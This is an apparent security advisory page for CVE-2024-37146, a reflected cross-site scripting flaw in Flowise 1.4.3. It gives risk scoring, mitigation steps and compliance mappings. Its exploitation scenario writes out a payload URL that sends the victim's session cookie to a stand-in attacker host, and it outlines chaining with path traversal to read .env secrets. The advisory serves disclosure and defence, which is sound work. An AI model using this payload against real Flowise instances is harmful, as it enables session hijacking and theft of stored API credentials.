CVE-2024-37146: Flowise: reflected XSS enables credential theft

MEDIUM PoC AVAILABLE
Published July 1, 2024
CISO Take

Flowise 1.4.3 contains a reflected cross-site scripting flaw where chatflow IDs are echoed unsanitized in 404 HTML responses via the `/api/v1/credentials/id` endpoint, allowing an attacker to execute arbitrary JavaScript in any user's browser session through a single crafted link. Because Flowise ships with authentication disabled by default, exploitation requires zero credentials and only a victim click — a public PoC already exists, reducing this to script-kiddie territory. The real danger in AI environments is the downstream blast radius: a hijacked session exposes all stored LLM API keys (OpenAI, Anthropic, etc.), and this XSS can be chained with a concurrent path traversal vulnerability to read arbitrary server-side files including `.env` configs containing infrastructure secrets. No upstream patch was available at time of publication; immediately enable authentication via `FLOWISE_USERNAME`/`FLOWISE_PASSWORD` environment variables, restrict Flowise to internal networks, and rotate any LLM API credentials currently stored in the platform.

Sources: NVD GitHub Advisory ATLAS

Risk Assessment

The CVSS 6.1 (Medium) score materially understates contextual risk for AI deployments. Flowise is a credential store and orchestration hub for LLM workflows — session hijacking via XSS can cascade into full API key compromise across every connected AI service. The unauthenticated-by-default configuration eliminates the privilege barrier entirely, widening blast radius to any internet-exposed instance. With a public PoC available and 16 prior CVEs in the same package indicating a pattern of insufficient input validation, active targeting of exposed Flowise instances is a realistic near-term risk.

Affected Systems

Package Ecosystem Vulnerable Range Patched
flowise npm No patch

Do you use flowise? You're affected.

Severity & Risk

CVSS 3.1
6.1 / 10
EPSS
N/A
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

  1. Enable authentication immediately: set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables before any network exposure.
  2. Network-isolate Flowise — it must not be internet-facing; place behind VPN or internal firewall.
  3. Rotate all LLM API keys stored in the Flowise credentials store as a precautionary measure.
  4. Deploy WAF rules to block HTML/script injection patterns in chatflow ID path parameters.
  5. Audit server access logs for requests to /api/v1/credentials/ containing angle brackets, script tags, or URL-encoded equivalents.
  6. Monitor the FlowiseAI GitHub repository for a patch release and upgrade immediately when available.
  7. Audit all files accessible from Flowise's working directory for sensitive data exposure via the path traversal vector.

Classification

Compliance Impact

This CVE is relevant to:

ISO 42001
6.1 - Actions to address risks and opportunities
NIST AI RMF
MANAGE-2.2 - Mechanisms are in place to sustain treatment of identified AI risks
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM06 - Sensitive Information Disclosure

Technical Details

NVD Description

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `/api/v1/credentials/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An attacker scanning for AI tooling via Shodan identifies an unauthenticated Flowise instance at a target organization. They craft a URL embedding a JavaScript payload in the chatflow ID path segment — e.g., `/api/v1/credentials/%3Cscript%3Efetch('https://attacker.com/?c='+document.cookie)%3C/script%3E` — and deliver it via spearphishing email to an employee known to manage the company's LLM pipelines. The employee clicks the link; Flowise returns a 404 page with the chatflow ID reflected unescaped in the HTML body, executing the payload in the victim's session. The attacker receives the session cookie, authenticates to the Flowise admin interface, and extracts all stored LLM API credentials. They then chain this access with the path traversal vulnerability to read the server's `.env` file, harvesting additional infrastructure secrets for lateral movement into cloud environments.

Weaknesses (CWE)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
July 1, 2024
Last Modified
November 21, 2024
First Seen
July 1, 2024

Related Vulnerabilities